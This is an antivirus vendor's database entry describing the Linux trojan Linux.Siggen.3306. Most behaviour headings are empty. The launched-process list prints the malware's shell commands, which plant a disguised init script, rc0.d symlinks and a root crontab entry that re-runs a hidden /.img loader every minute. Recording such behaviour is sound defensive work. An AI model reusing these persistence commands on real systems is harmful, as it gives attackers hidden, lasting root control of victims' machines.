Linux.Siggen.3306

Added to the Dr.Web virus database: 2020-09-17

Virus description added: 2020-09-17

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Replaces the following system files:

Launches processes:

/bin/bash -c chmod 0755 /etc/32679
chmod 0755 /etc/32679
/etc/32679
<SAMPLE_FULL_PATH>
sleep 30
/bin/bash -c echo \"#!/bin/sh\" > /etc/profile.d/linux.sh
/bin/bash -c
/bin/bash -c echo -e \"#!/bin/sh\n BEGIN INIT INFO\n#chkconfig: 2345 10 90\n#description:System.img.config\n# Default-Start: 2 3 4 5\n# Default-Stop: \n END INIT INFO\n/boot/System.img.config\nexit 0\" > /etc/init.d/linux_kill;chmod +x /etc/init.d/linux_kill
chmod +x /etc/init.d/linux_kill
/bin/bash -c echo -e \"#!/bin/sh\n/usr/lib/libdlrpcld.so\" > /.img
/bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc0.d/linux_kill
/bin/bash -c echo \"* * * * * root /.img \" >> /etc/crontab
ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc0.d/linux_kill
/bin/bash -c chmod 0755 /.img
/bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc0.d/linux_kill
chmod 0755 /.img

Performs operations with the file system:

Modifies file access rights:

Creates folders:

Creates or modifies files:

Locks files:

Network activity:

Establishes connection:

DNS ASK:

Other:

Collects RAM information